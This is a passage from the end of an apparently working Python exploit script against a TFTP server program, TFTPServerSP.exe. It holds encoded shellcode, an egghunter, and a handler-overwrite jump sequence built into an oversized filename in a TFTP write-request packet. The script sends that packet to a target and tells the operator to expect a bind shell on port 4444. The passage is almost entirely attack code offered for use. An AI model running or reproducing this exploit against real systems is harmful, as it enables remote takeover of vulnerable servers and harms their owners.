"\x6f\x6b\x50\x33\x6f\x33\x6f\x32\x7a\x6e\x6b\x35\x42\x78\x6b"
"\x4e\x6d\x43\x6d\x62\x48\x37\x43\x46\x52\x37\x70\x35\x50\x61"
"\x78\x72\x57\x64\x33\x45\x62\x71\x4f\x56\x34\x53\x58\x32\x6c"
"\x63\x47\x34\x66\x46\x67\x4b\x4f\x6a\x75\x4e\x58\x4e\x70\x43"
"\x31\x75\x50\x35\x50\x31\x39\x6f\x34\x72\x74\x70\x50\x55\x38"
"\x56\x49\x4f\x70\x30\x6b\x47\x70\x69\x6f\x48\x55\x71\x7a\x36"
"\x68\x51\x49\x70\x50\x4a\x42\x4b\x4d\x61\x50\x76\x30\x33\x70"
"\x36\x30\x35\x38\x69\x7a\x64\x4f\x59\x4f\x6b\x50\x39\x6f\x4b"
"\x65\x7a\x37\x73\x58\x43\x32\x63\x30\x56\x71\x71\x4c\x6c\x49"
"\x69\x76\x71\x7a\x64\x50\x53\x66\x72\x77\x73\x58\x4a\x62\x79"
"\x4b\x50\x37\x65\x37\x39\x6f\x6b\x65\x36\x37\x42\x48\x48\x37"
"\x4b\x59\x47\x48\x6b\x4f\x39\x6f\x4b\x65\x51\x47\x51\x78\x50"
"\x74\x5a\x4c\x65\x6b\x79\x71\x69\x6f\x6a\x75\x51\x47\x4f\x67"
"\x53\x58\x61\x65\x32\x4e\x32\x6d\x70\x61\x49\x6f\x69\x45\x61"
"\x78\x72\x43\x32\x4d\x30\x64\x43\x30\x4b\x39\x4a\x43\x70\x57"
"\x53\x67\x72\x77\x64\x71\x48\x76\x31\x7a\x52\x32\x42\x79\x52"
"\x76\x38\x62\x69\x6d\x65\x36\x4b\x77\x37\x34\x61\x34\x47\x4c"
"\x57\x71\x45\x51\x6c\x4d\x77\x34\x44\x64\x72\x30\x78\x46\x53"
"\x30\x67\x34\x33\x64\x32\x70\x70\x56\x73\x66\x42\x76\x62\x66"
"\x46\x36\x30\x4e\x63\x66\x46\x36\x42\x73\x62\x76\x52\x48\x71"
"\x69\x38\x4c\x35\x6f\x6e\x66\x79\x6f\x49\x45\x4c\x49\x4b\x50"
"\x52\x6e\x43\x66\x30\x46\x59\x6f\x54\x70\x62\x48\x34\x48\x6c"
"\x47\x35\x4d\x55\x30\x39\x6f\x38\x55\x4f\x4b\x59\x6e\x34\x4e"
"\x76\x52\x59\x7a\x73\x58\x6d\x76\x6c\x55\x4d\x6d\x4d\x4d\x4b"
"\x4f\x6e\x35\x47\x4c\x63\x36\x71\x6c\x45\x5a\x4f\x70\x49\x6b"
"\x59\x70\x74\x35\x76\x65\x4d\x6b\x50\x47\x32\x33\x32\x52\x30"
"\x6f\x62\x4a\x45\x50\x66\x33\x69\x6f\x4e\x35\x41\x41")

# PPR - 0x0040CC22 - in TFTPServerSP.exe
# 3-byte overwrite

jump_one = "\xEB\xDB\x90\x90" # negative jump back
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a" #WOOT
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x54\x30\x30\x57\x8b\xfa"
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

filename = "\x90"*734 + "T00WT00W" + shellcode + "\x90"*10 + egghunter + "\x90"*10 + jump_one + "\x22\xCC\x40"

mode = "netascii"

evil = "\x00\x02" + filename + "\x00" + mode + "\x00"

print "[*] Sending evil packet, ph33r"
s.sendto(evil, (host, port))
print "[*] Check port 4444 for bindshell"